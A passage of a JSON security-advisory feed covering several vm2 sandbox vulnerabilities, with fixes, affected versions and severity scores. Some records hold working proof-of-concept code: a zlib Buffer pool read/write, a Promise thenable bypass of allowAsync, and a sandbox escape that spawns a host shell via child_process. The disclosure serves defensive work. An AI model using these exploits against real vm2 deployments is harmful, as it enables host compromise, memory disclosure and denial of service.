kernel, queue consumer, or multi-tenant execution worker serving other users. The exploit does not require filesystem access, a Node builtin, nested VMs, or host compromise. It requires the embedder to expose the host constructor and the host to use strict unhandled-rejection handling.\n\nThe impact is host availability only; this report does not claim confidentiality or integrity impact. The typed classification is CWE-248 (Uncaught Exception) and CWE-703 (Improper Check or Handling of Exceptional Conditions), with CVSS 3.1 `AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H` (8.6, High) for a deployment that accepts untrusted code over a network boundary.\n\n## Suggested Fix\n\nRestore the bridge invariant that every host-native Promise crossing into the sandbox is marked handled before it can be ignored. In `BaseHandler.construct`, add the same `markHostPromiseHandled(ret)` call used by `BaseHandler.apply`, after the host result is produced and before it is converted and returned:\n\n```js\nstripDangerousSymbolsFromHostResult(ret);\nmarkHostPromiseHandled(ret);\nreturn thisFromOtherWithFactory(getHandlerFactory(this), ret, thisFromOther(object));\n```\n\nThe call should attach the benign host-side rejection reaction without changing the Promise value or preventing sandbox code that later attaches `.catch()` or `.then(..., onRejected)` from observing the rejection. Regression tests should cover an ignored rejected Promise returned through `new`, the caught control, ordinary non-Promise constructor returns, and the existing apply-path behavior.\n\n## Affected Package/Versions\n\n- Package: `vm2` (npm).\n- Confirmed vulnerable: `3.11.8`, including revision `91034466bfb7f56b95fd48083ec6ca36d058f164`.\n- The exact tested affected range is `3.11.8`; no broader version range is inferred from this test.\n\n## Advisory History\n\nThe public [GHSA-gjq8-xm47-88rc advisory](https://github.com/patriksimek/vm2/security/advisories/GHSA-gjq8-xm47-88rc) describes host-returned Promise rejection termination and records `3.11.8` as its patched version. Its fix and reproduction cover a host function invoked through the bridge `apply` route. This report uses the distinct `construct` route reached by `new`, where the tested `3.11.8` source still omits `markHostPromiseHandled(ret)`. A fix for `apply` does not automatically fix this adjacent return path.\n\nThe checked related public history includes [GHSA-hw58-p9xv-2mjh](https://github.com/patriksimek/vm2/security/advisories/GHSA-hw58-p9xv-2mjh), the earlier sandbox-Promise constructor issue. GHSA-hw58 concerns an error raised by a Promise executor for a Promise created inside the sandbox; it is the sandbox-native `localPromise`/executor path, not GHSA-gjq8's host-returned Promise through `BaseHandler.apply` and not this host-constructor result through `BaseHandler.construct`.\n\nThe checked search also found [PR #421, “Handle errors thrown in async functions”](https://github.com/patriksimek/vm2/pull/421). That is a separate async-error history item concerning errors from async functions and timer callbacks, with general unhandled-rejection handling, rather than a host Promise returned through the GHSA-gjq8 `apply` boundary or a Promise returned by an exposed constructor through this `construct` trap.\n\nThe bound prior local report, titled “NodeVM crypto sanitizer exposes process-wide crypto.setFips,” covers a different root cause: an allowlisted `crypto` builtin exposes `setFips`, allowing guest code to mutate host-wide cryptographic state. Its boundary and fix surface are builtin sanitization and process-state mutation, not host-Promise rejection handling; it therefore differs from both the GHSA-gjq8 `apply` route and this `BaseHandler.construct` route. No prior report covering this construct-trap root cause was found.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-05T23:19:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-2v2p-6j97-cjg9","https://nvd.nist.gov/vuln/detail/CVE-2026-100722","https://github.com/patriksimek/vm2/commit/6e487df9518e455e5e60faec3df3a0e2e27f9940","https://github.com/patriksimek/vm2/releases/tag/v3.12.2","https://www.vulncheck.com/advisories/vm2-before-3.12.2-host-process-termination-via-construct-trap","https://github.com/advisories/GHSA-2v2p-6j97-cjg9"],"source_kind":"github","identifiers":["GHSA-2v2p-6j97-cjg9","CVE-2026-100722"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-06T00:00:16.074Z","updated_at":"2026-10-18T11:01:08.655Z","epss_percentage":0.0026,"epss_percentile":0.16531,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ydjJwLTZqOTctY2pnOc4AB7qY","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0ydjJwLTZqOTctY2pnOc4AB7qY","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.12.2","vulnerable_version_range":"\u003c= 3.12.1"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ydjJwLTZqOTctY2pnOc4AB7qY/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00ODl3LXc3OTQtanE5NM4AB7qX","url":"https://github.com/advisories/GHSA-489w-w794-jq94","title":"vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary","description":"## Summary\n\nWhen an application explicitly exposes Node's `zlib` module through vm2's `NodeVM` builtin allowlist, an untrusted guest can obtain a pool-backed host `Buffer` from `zlib.deflateSync`, create a full-width view of its backing `ArrayBuffer`, read bytes outside the compressed result, and flip a byte in an unrelated host buffer. The pinned vm2 revision reproduces disclosure and host-memory modification, while a sandbox-local `Buffer` control remains exact-size and non-mutating.\n\n## Technical Details\n\n`NodeVM` accepts `require: { builtin: ['zlib'] }`. The builtin resolver reaches `addDefaultBuiltin` in `lib/builtin.js`, where the host module is exposed through the generic readonly wrapper. `zlib.deflateSync` returns a Node `Buffer`; for a small result, that buffer can use Node's shared pool, whose `.buffer` is the complete pool rather than only the logical result slice. The guest can therefore call `Buffer.from(result.buffer, 0, result.buffer.byteLength)` and inspect or modify pooled bytes outside `result`.\n\nThe relevant isolation invariant is that every `Buffer` crossing into the sandbox owns its complete backing store: `byteOffset === 0` and `buffer.byteLength === length`. vm2's `depoolBuffer` implementation applies that rule to sandbox-facing `Buffer` factories, but the generic host-builtin return path does not apply it to the `Buffer` returned by `zlib`. The precondition is an embedder that deliberately allowlists `zlib`; applications that do not expose this builtin are not reached by this proof.\n\n## PoV\n\nThe guest operation below is the decisive operation. The expected marker is a numeric array in the guest, not a host `Buffer`; the host-side oracle snapshots complete retained buffers as plain arrays before and after the guest call.\n\n```js\nconst zlib = require('zlib');\nconst result = zlib.deflateSync(Buffer.from('hello'));\nconst view = Buffer.from(result.buffer, 0, result.buffer.byteLength);\nconst markerCodes = Object.freeze([86, 77, 50, 95, 90, 76, 73, 66, 95, 80, 79, 79, 76, 95, 83, 69, 67, 82, 69, 84, 95, 55, 98, 51, 49]);\nlet markerHits = 0;\nlet firstMarker = -1;\nfor (let offset = 0; offset \u003c= view.length - markerCodes.length; offset += 1) {\n  let equal = true;\n  for (let index = 0; index \u003c markerCodes.length; index += 1) {\n    if (view[offset + index] !== markerCodes[index]) { equal = false; break; }\n  }\n  if (equal) { markerHits += 1; if (firstMarker \u003c 0) firstMarker = offset; }\n}\nif (firstMarker \u003e= 0) view[firstMarker] ^= 0xff;\nmodule.exports = {\n  route: {\n    requireReturned: !!zlib \u0026\u0026 typeof zlib.deflateSync === 'function',\n    deflateSyncReturnedBuffer: Buffer.isBuffer(result),\n    returnedBufferShape: !!result \u0026\u0026 !!result.buffer,\n  },\n  resultLength: result.length,\n  resultBackingLength: result.buffer.byteLength,\n  viewLength: view.length,\n  fullBackingStoreView: view.byteOffset === 0\n    \u0026\u0026 view.length === result.buffer.byteLength\n    \u0026\u0026 view.buffer.byteLength === result.buffer.byteLength,\n  markerHits,\n  firstMarker,\n};\n```\n\n## PoC\n\nInstall the tested package version with Node.js, save the complete reproduction below as `zlib-buffer-isolation-test.js`, and run both modes. The attack and control commands print the JSON shown after the code.\n\n```sh\nnpm install vm2@3.11.8\nnode zlib-buffer-isolation-test.js attack hello\nnode zlib-buffer-isolation-test.js control\n```\n\n```js\n'use strict';\n\nconst { NodeVM } = require('vm2');\n\nconst marker = 'VM2_ZLIB_POOL_SECRET_7b31';\nconst markerCodes = Object.freeze(Array.from(marker, (character) =\u003e character.charCodeAt(0)));\nconst retained = [];\n\nfor (let index = 0; index \u003c 192; index += 1) {\n  const buffer = Buffer.allocUnsafe(64);\n  buffer.fill(0x41);\n  const markerOffset = index % (buffer.length - markerCodes.length + 1);\n  markerCodes.forEach((byte, byteIndex) =\u003e {\n    buffer[markerOffset + byteIndex] = byte;\n  });\n  retained.push({ buffer, markerOffset });\n}\n\nconst snapshot = () =\u003e retained.map(({ buffer }) =\u003e Array.from(buffer));\nconst changed = (before, after) =\u003e before.some((bytes, index) =\u003e\n  bytes.some((byte, byteIndex) =\u003e byte !== after[index][byteIndex]));\nconst mode = process.argv[2] || 'attack';\nconst input = process.argv[3] || 'hello';\nconst before = snapshot();\nconst vm = new NodeVM({ require: { builtin: ['zlib'] } });\n\nif (mode === 'control') {\n  const control = vm.run(`\n    const zlib = require('zlib');\n    const result = zlib.deflateSync(Buffer.from('hello'));\n    const local = Buffer.allocUnsafe(1);\n    const view = Buffer.from(local.buffer, 0, local.buffer.byteLength);\n    module.exports = {\n      route: !!zlib \u0026\u0026 typeof zlib.deflateSync === 'function'\n        \u0026\u0026 Buffer.isBuffer(result),\n      exactSize: local.byteOffset === 0\n        \u0026\u0026 local.buffer.byteLength === local.length\n        \u0026\u0026 view.byteOffset === 0\n        \u0026\u0026 view.length === local.length\n        \u0026\u0026 view.buffer.byteLength === local.length,\n    };\n  `, 'zlib-buffer-case-a.js');\n  const passed = control.route \u0026\u0026 control.exactSize \u0026\u0026 !changed(before, snapshot());\n  console.log(JSON.stringify({ mode, result: passed ? 'pass' : 'violation' }));\n} else {\n  const attack = vm.run(`\n    const zlib = require('zlib');\n    const result = zlib.deflateSync(${JSON.stringify(input)});\n    const view = Buffer.from(result.buffer, 0, result.buffer.byteLength);\n    const markerCodes = ${JSON.stringify(Array.from(markerCodes))};\n    let firstMarker = -1;\n    for (let offset = 0; offset \u003c= view.length - markerCodes.length; offset += 1) {\n      if (markerCodes.every((byte, byteIndex) =\u003e view[offset + byteIndex] === byte)) {\n        firstMarker = offset;\n        break;\n      }\n    }\n    if (firstMarker \u003e= 0) view[firstMarker] ^= 0xff;\n    module.exports = {\n      route: !!zlib \u0026\u0026 typeof zlib.deflateSync === 'function'\n        \u0026\u0026 Buffer.isBuffer(result),\n      fullView: view.byteOffset === 0\n        \u0026\u0026 view.length === result.buffer.byteLength\n        \u0026\u0026 view.buffer.byteLength === result.buffer.byteLength,\n      poolIsWider: result.buffer.byteLength \u003e result.length,\n      markerFound: firstMarker \u003e= 0,\n    };\n  `, 'zlib-buffer-case-b.js');\n  const passed = attack.route \u0026\u0026 attack.fullView \u0026\u0026 attack.poolIsWider\n    \u0026\u0026 attack.markerFound \u0026\u0026 changed(before, snapshot());\n  console.log(JSON.stringify({ mode, result: passed ? 'violation' : 'pass' }));\n}\n```\n\n```json\n{\"mode\":\"attack\",\"result\":\"violation\"}\n{\"mode\":\"control\",\"result\":\"pass\"}\n```\n\nThe attack output requires the full backing-store view, a backing store larger than the logical compressed result, a readable marker, and an independently observed change to a retained host buffer. The control requires exact-size sandbox ownership and no retained-buffer change. The demonstration is limited to disclosure and host-memory modification; it does not demonstrate host code execution.\n\nThe reproduction is tested against vm2 revision `91034466bfb7f56b95fd48083ec6ca36d058f164`; package metadata at that revision identifies vm2 `3.11.8`.\n\n## Impact\n\nAn affected host application can expose sensitive bytes held in neighboring pooled buffers to untrusted guest code and can have those host buffers corrupted. This crosses the vm2 isolation boundary and compromises confidentiality and integrity for applications that allowlist `zlib`. The demonstrated host-memory disclosure maps to CWE-200, the demonstrated write to unrelated host memory maps to CWE-787, and together those confidentiality and integrity effects support a high severity rating. The issue does not reach applications that do not expose the builtin, and this report makes no claim about versions beyond the tested revision; the proof does not demonstrate host code execution.\n\n## Suggested Fix\n\nBefore any host-builtin return value is exposed to the guest, apply `depoolBuffer` or an equivalent owned-copy wrapper to every returned `Buffer`. The delivered buffer should satisfy `byteOffset === 0` and `buffer.byteLength === length`; intentionally supported `ArrayBuffer` sharing overloads should remain separately identified so they are not confused with host-created pooled buffers.\n\nAdd a regression test that allowlists `zlib`, calls `deflateSync`, asserts exact backing-store ownership, and verifies that a full-width view cannot read or change markers in unrelated host buffers. Retain the sandbox-local exact-size control so the regression test also detects a failure in its own oracle.\n\n## Affected Package/Versions\n\n- Package: `vm2` from npm.\n- Tested affected source revision: `91034466bfb7f56b95fd48083ec6ca36d058f164`.\n- Package metadata at that revision: 3.11.8.\n- Version scope: the report is limited to the exact tested source revision above; no broader release line or range is established here.\n- Affected range: only the exact tested revision is asserted; no broader release range is established here.\n\n## Advisory History\n\nThe public [GHSA-fcqc-726x-5wfc advisory](https://github.com/patriksimek/vm2/security/advisories/GHSA-fcqc-726x-5wfc) documents shared small-buffer-pool exposure through sandbox-facing `Buffer` factories. The checked public fix is commit [`4f2508abeb252aa86eb6761c78b3b000248fb089`](https://github.com/patriksimek/vm2/commit/4f2508abeb252aa86eb6761c78b3b000248fb089), titled `fix(GHSA-fcqc-726x-5wfc): isolate sandbox buffers from Node's shared pool`; its change applies the backing-store ownership rule to those factories, not to the `zlib` host-builtin return path demonstrated here.\n\nThe exact `GHSA-fcqc-726x-5wfc` commit search also returned [`5214b02ef13b82497fcb917b45320dfd014ffd09`](https://github.com/patriksimek/vm2/commit/5214b02ef13b82497fcb917b45320dfd014ffd09), whose release message is only an automated advisory inventory and is not an independent report of this issue. The current repository search for [`zlib Buffer pool` issues](https://github.com/patriksimek/vm2/issues?q=zlib+Buffer+pool) returned no independent match, and the corresponding [`zlib Buffer pool` pull-request search](https://github.com/patriksimek/vm2/pulls?q=zlib+Buffer+pool) also returned no independent match.\n\nPrior submitted, ready-for-review, and completed-but-unsubmitted reports were checked; none covers this zlib host-builtin backing-store path. Its distinct fix surface is the zlib host-builtin return path and the missing backing-store ownership step, separate from sandbox-facing Buffer factories.\n\nThis finding is therefore distinct in fix surface: `zlib` is the producer, the generic host-builtin return path is the sink, and backing-store ownership is the missing correction. That surface is separate from Buffer-factory hardening, custom resolution, Promise/`Reflect.apply` handling, and process-global FIPS state.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-05T23:00:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-489w-w794-jq94","https://github.com/patriksimek/vm2/commit/4f2508abeb252aa86eb6761c78b3b000248fb089","https://github.com/patriksimek/vm2/commit/5214b02ef13b82497fcb917b45320dfd014ffd09","https://github.com/patriksimek/vm2/commit/9596bf5e7d8de7351d675ff4f5293b72157202d4","https://github.com/patriksimek/vm2/releases/tag/v3.12.2","https://www.vulncheck.com/advisories/vm2-before-3.12.2-memory-disclosure-via-zlib-buffer-pool","https://github.com/advisories/GHSA-489w-w794-jq94"],"source_kind":"github","identifiers":["GHSA-489w-w794-jq94","CVE-2026-100723"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-06T00:00:16.074Z","updated_at":"2026-10-12T08:00:36.314Z","epss_percentage":0.00316,"epss_percentile":0.2252,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00ODl3LXc3OTQtanE5NM4AB7qX","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00ODl3LXc3OTQtanE5NM4AB7qX","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.12.2","vulnerable_version_range":"\u003c= 3.12.1"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00ODl3LXc3OTQtanE5NM4AB7qX/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mOGdmLXcyODYtZm1xMs4AB7qD","url":"https://github.com/advisories/GHSA-f8gf-w286-fmq2","title":"vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM","description":"### Summary\n\nWhen `allowAsync` is set to `false`, vm2 is expected to reject attempts to run asynchronous code. Direct use of `Promise.prototype.then` is blocked, but Promise static methods still assimilate attacker-controlled thenables. `Promise.resolve(thenable)`, `Promise.all([thenable])`, `Promise.race([thenable])`, `Promise.any([thenable])`, and `Promise.allSettled([thenable])` can invoke the thenable's `then` method in a microtask after `VM.run()` or `NodeVM.run()` has already returned.\n\nThis bypasses the documented async-execution restriction and runs outside the configured `timeout`, allowing sandboxed code to continue executing after the host believes execution is complete.\n\n### Details\n\nThe documented VM option says `allowAsync: false` should cause attempts to run async code to throw a `VMError`; README.md:139-145 also recommends using it with `timeout`. The implementation enforces part of this policy by replacing `localPromise.prototype.then` with an `AsyncErrorHandler` when async is disabled:\n\n- `lib/setup-sandbox.js:1629-1637` defines `AsyncErrorHandler`, whose `apply` and `construct` traps throw `VMError: Async not available`.\n- `lib/setup-sandbox.js:1743-1752` installs that handler on `localPromise.prototype.then` when `allowAsync` is false.\n\nHowever, Promise static methods are still exposed and rebound to `localPromise`:\n\n- `lib/setup-sandbox.js:1816-1819` wraps `Promise.all`.\n- `lib/setup-sandbox.js:1821-1824` wraps `Promise.race`.\n- `lib/setup-sandbox.js:1826-1830` wraps `Promise.allSettled`.\n- `lib/setup-sandbox.js:1833-1837` wraps `Promise.any`.\n- `lib/setup-sandbox.js:1840-1843` wraps `Promise.resolve`.\n\nThose wrappers prevent species attacks by forcing `localPromise` as the constructor, but they do not reject or neutralize thenables when `allowAsync` is false. Native Promise resolution then performs `PromiseResolveThenableJob` and calls the attacker-controlled `then` method asynchronously. That job does not go through the patched `localPromise.prototype.then` method, so the `AsyncErrorHandler` is never reached.\n\n`NodeVM` inherits the same sandbox Promise setup through `VM` (`lib/nodevm.js:328-332`), so the same thenable-assimilation bypass is reachable in `NodeVM` as well.\n\nThe transformer fast path is not the root cause, but it explains why the minimal PoC is parser-independent: payloads below contain none of `catch`, `import`, `async`, `with`, the internal state identifier, or `\\u`, so `lib/transformer.js:82-89` returns without AST parsing.\n\n### PoC\n\nMaintainer-runnable clean-checkout recipe:\n\n```sh\nnpm install\nnode - \u003c\u003c'NODE'\nconst {VM, NodeVM} = require('./');\n\nasync function runVmCase(name, code) {\n  const events = [];\n  const vm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value =\u003e events.push(value)}});\n  try {\n    const ret = vm.run(code);\n    console.log(`${name}: returned ${ret}`);\n  } catch (e) {\n    console.log(`${name}: threw ${e.name}:${e.message}`);\n  }\n  await new Promise(resolve =\u003e setImmediate(resolve));\n  console.log(`${name} events: ${events.length ? events.join(',') : '\u003cnone\u003e'}`);\n}\n\nasync function runNodeVmCase(name, code) {\n  const events = [];\n  const vm = new NodeVM({allowAsync: false, sandbox: {mark: value =\u003e events.push(value)}});\n  try {\n    const ret = vm.run(code);\n    console.log(`${name}: returned ${ret}`);\n  } catch (e) {\n    console.log(`${name}: threw ${e.name}:${e.message}`);\n  }\n  await new Promise(resolve =\u003e setImmediate(resolve));\n  console.log(`${name} events: ${events.length ? events.join(',') : '\u003cnone\u003e'}`);\n}\n\n(async () =\u003e {\n  await runVmCase('VM Promise.resolve thenable', `Promise.resolve({then(r){mark('resolve-thenable')}}); 1`);\n  await runVmCase('VM Promise.all thenable', `Promise.all([{then(r){mark('all-thenable')}}]); 1`);\n  await runVmCase('VM Promise.race thenable', `Promise.race([{then(r){mark('race-thenable')}}]); 1`);\n  await runVmCase('VM Promise.any thenable', `Promise.any([{then(r){mark('any-thenable')}}]); 1`);\n  await runVmCase('VM Promise.allSettled thenable', `Promise.allSettled([{then(r){mark('allSettled-thenable')}}]); 1`);\n  await runVmCase('VM direct then negative control', `Promise.resolve(1).then(function(){mark('direct')}); 1`);\n\n  await runNodeVmCase('NodeVM Promise.resolve thenable', `Promise.resolve({then(r){mark('nodevm-resolve-thenable')}}); module.exports = 1;`);\n  await runNodeVmCase('NodeVM direct then negative control', `Promise.resolve(1).then(function(){mark('nodevm-direct')}); module.exports = 1;`);\n\n  const timeoutEvents = [];\n  const timeoutVm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value =\u003e timeoutEvents.push(value)}});\n  const started = Date.now();\n  const ret = timeoutVm.run(`Promise.resolve({then(){var t=Date.now();while(Date.now()-t\u003c35){};mark(Date.now())}}); 1`);\n  const afterRun = Date.now();\n  await new Promise(resolve =\u003e setImmediate(resolve));\n  console.log(`timeout case returned: ${ret}`);\n  console.log(`timeout case runReturnedInMs: ${afterRun - started}`);\n  console.log(`timeout case events: ${timeoutEvents.length}`);\n  console.log(`timeout case elapsedMs: ${Date.now() - started}`);\n})();\nNODE\n```\n\nExpected vulnerable output pattern:\n\n```text\nVM Promise.resolve thenable: returned 1\nVM Promise.resolve thenable events: resolve-thenable\nVM Promise.all thenable: returned 1\nVM Promise.all thenable events: all-thenable\nVM Promise.race thenable: returned 1\nVM Promise.race thenable events: race-thenable\nVM Promise.any thenable: returned 1\nVM Promise.any thenable events: any-thenable\nVM Promise.allSettled thenable: returned 1\nVM Promise.allSettled thenable events: allSettled-thenable\nVM direct then negative control: threw VMError:Async not available\nVM direct then negative control events: \u003cnone\u003e\nNodeVM Promise.resolve thenable: returned 1\nNodeVM Promise.resolve thenable events: nodevm-resolve-thenable\nNodeVM direct then negative control: threw VMError:Async not available\nNodeVM direct then negative control events: \u003cnone\u003e\ntimeout case returned: 1\ntimeout case runReturnedInMs: 0\ntimeout case events: 1\ntimeout case elapsedMs: 35\n```\n\nObserved local output from this environment, using temporary local `acorn`/`acorn-walk` stubs only because dependencies were not installed and the payloads take the transformer fast path without invoking the parser:\n\n```json\n{\n  \"results\": [\n    [\"Promise.resolve thenable\", \"run-returned\", 1],\n    [\"Promise.resolve thenable events\", \"resolve-thenable\"],\n    [\"Promise.all thenable\", \"run-returned\", 1],\n    [\"Promise.all thenable events\", \"all-thenable\"],\n    [\"Promise.race thenable\", \"run-returned\", 1],\n    [\"Promise.race thenable events\", \"race-thenable\"],\n    [\"Promise.any thenable\", \"run-returned\", 1],\n    [\"Promise.any thenable events\", \"any-thenable\"],\n    [\"Promise.allSettled thenable\", \"run-returned\", 1],\n    [\"Promise.allSettled thenable events\", \"allSettled-thenable\"],\n    [\"direct then control\", \"threw\", \"VMError:Async not available\"],\n    [\"direct then control events\", \"\u003cnone\u003e\"]\n  ],\n  \"timeoutCase\": {\n    \"ret\": 1,\n    \"runReturnedInMs\": 0,\n    \"events\": [1779866562491],\n    \"elapsedMs\": 35\n  }\n}\n```\n\nObserved `NodeVM` variant output:\n\n```text\nNodeVM Promise.resolve thenable: returned 1\nNodeVM Promise.resolve thenable events: nodevm-resolve-thenable\nNodeVM direct then control: threw VMError:Async not available\nNodeVM direct then control events: \u003cnone\u003e\n```\n\n### Impact\n\nApplications commonly combine `timeout` with `allowAsync: false` so untrusted scripts run synchronously and cannot continue after `run()` returns. This issue breaks that security boundary. A sandboxed script can schedule a Promise thenable job, have `VM.run()` return successfully, and execute attacker-controlled code afterward. Because the code runs after `VM.run()` has returned, the configured timeout no longer interrupts it.\n\nA malicious thenable can use this to block the host Node.js event loop after the host believes the sandbox run is finished. The proof above uses a bounded 35 ms loop for safety, but the same primitive can be made unbounded. The finding is therefore a sandbox policy and availability bypass. This report does not claim raw host-object exposure, process access, filesystem access, or host RCE.\n\nNegative/control evidence: direct `.then()` is rejected with `VMError: Async not available` and no callback fires, confirming that the intended protection exists but is incomplete for static Promise thenable assimilation.\n\n### Suggested remediation\n\nWhen `allowAsync` is false, reject or neutralize all Promise static-method paths that can schedule jobs, not only `Promise.prototype.then`. At minimum, `Promise.resolve`, `Promise.all`, `Promise.race`, `Promise.any`, and `Promise.allSettled` should not invoke attacker-controlled thenables under `allowAsync: false`. Possible fixes include replacing these static methods with `AsyncErrorHandler`-style throwers when async is disabled, or wrapping their inputs so thenable assimilation cannot schedule attacker code.\n\nAdd regression tests for `VM` and `NodeVM` that verify:\n\n- `Promise.resolve({ then(){} })` throws or does not call the thenable when `allowAsync: false`.\n- `Promise.all`, `Promise.race`, `Promise.any`, and `Promise.allSettled` do the same for thenable elements.\n- Direct `.then()` remains blocked.\n- A timeout-configured VM cannot execute code after `run()` returns via Promise thenable assimilation.\n\n## Variant analysis summary\n\nConfirmed variants:\n\n- `VM({allowAsync:false}).run('Promise.resolve(thenable)')`\n- `VM({allowAsync:false}).run('Promise.all([thenable])')`\n- `VM({allowAsync:false}).run('Promise.race([thenable])')`\n- `VM({allowAsync:false}).run('Promise.any([thenable])')`\n- `VM({allowAsync:false}).run('Promise.allSettled([thenable])')`\n- `NodeVM({allowAsync:false}).run('Promise.resolve(thenable)')`\n\nNegative cases checked:\n\n- Direct `Promise.resolve(1).then(...)` throws `VMError: Async not available` in both `VM` and `NodeVM`.\n- NodeVM dangerous builtin exposure was reviewed separately and not implicated in this issue.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R\u0026D)\n- Nguyen Huy Vu Dung from VinSOC Labs (AppSec)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-05T22:47:34.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-f8gf-w286-fmq2","https://nvd.nist.gov/vuln/detail/CVE-2026-92959","https://github.com/patriksimek/vm2/commit/1d1aa437a5a39b00b3de0deb3e31f751d4884f5f","https://github.com/patriksimek/vm2/releases/tag/v3.11.8","https://www.vulncheck.com/advisories/vm2-before-3.11.8-allowasync-bypass-via-promise-thenable","https://github.com/advisories/GHSA-f8gf-w286-fmq2"],"source_kind":"github","identifiers":["GHSA-f8gf-w286-fmq2","CVE-2026-92959"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-05T23:00:12.773Z","updated_at":"2026-10-18T11:01:08.667Z","epss_percentage":0.00449,"epss_percentile":0.37529,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mOGdmLXcyODYtZm1xMs4AB7qD","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mOGdmLXcyODYtZm1xMs4AB7qD","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.8","vulnerable_version_range":"\u003c= 3.11.7"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mOGdmLXcyODYtZm1xMs4AB7qD/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04OGhmLWc5OTItamc4Nc4AB7qC","url":"https://github.com/advisories/GHSA-88hf-g992-jg85","title":"vm2: Sandbox Escape (NodeVM)","description":"## Summary\n\nIt being possible to obtain the host `__proto__` getter/setter, has been used in many reports:\n\n- https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq\n- https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg\n- https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p\n- https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6\n\nYet it was never patched...\n\n---\n\nThis can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via `console._stdout`/`console._stderr` (`NodeVM` with `console: 'inherit'`, which is the default)\n\n## Details\n\nThe prototype chain for `console._stdout`/`console._stderr` is:\n\n```\n_stdout / _stderr\n-\u003e WriteStream (TTY only)\n-\u003e Socket\n-\u003e Duplex\n-\u003e Readable\n-\u003e Stream\n-\u003e EventEmitter\n```\n\n`process` is an `EventEmitter`, and nothing stops us from writing things to `EventEmmiter.prototype`\n\nBy overwriting `EventEmmiter.prototype.emit` with a function, and making `process` emit an event (e.g. `exit`, `unhandledRejection` etc.), we can execute code with `this` being `process`.\n\nThis also bypasses `--disallow-code-generation-from-strings`, which blocks the \"usual\" escape of obtaining the host function constructor.\n\n## PoC\n\n```js\nconst { NodeVM } = require(\"vm2\");\n\ncode = `\nconst gP = Buffer.call.call(__lookupGetter__,67,'__proto__');\n\n// vm __proto__ getter\nconsole.log(__lookupGetter__.call(0,'__proto__').call(console._stderr)); // [Object: null prototype] {}\n\n// host __proto__ getter\nconsole.log(gP.call(console._stderr)); // Socket { [...] }\n\nlet p = console._stdout;\nwhile (p.pipe) {\n\tconsole.log(p.constructor.name);\n\tp = gP.call(p);\n};\n\np.emit = function(){\n\tconsole.log(this+[]);\n\tthis.getBuiltinModule(\"child_process\").execSync(\"sh\",{stdio:\"inherit\"})\n}\n`;\n\nconst vm = new NodeVM();\nvm.run(code);\n```","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-10-05T22:47:09.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-88hf-g992-jg85","https://nvd.nist.gov/vuln/detail/CVE-2026-92955","https://github.com/patriksimek/vm2/commit/22a43704c04b66823b4064b8a16fe1ad54ad0290","https://github.com/patriksimek/vm2/blob/v3.11.7/lib/bridge.js#L1963-L1989","https://github.com/patriksimek/vm2/blob/v3.11.7/lib/setup-node-sandbox.js#L437-L440","https://github.com/patriksimek/vm2/releases/tag/v3.11.8","https://www.vulncheck.com/advisories/vm2-before-3.11.8-sandbox-escape-via-nodevm","https://github.com/advisories/GHSA-88hf-g992-jg85"],"source_kind":"github","identifiers":["GHSA-88hf-g992-jg85","CVE-2026-92955"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-05T23:00:12.773Z","updated_at":"2026-10-16T06:00:37.923Z","epss_p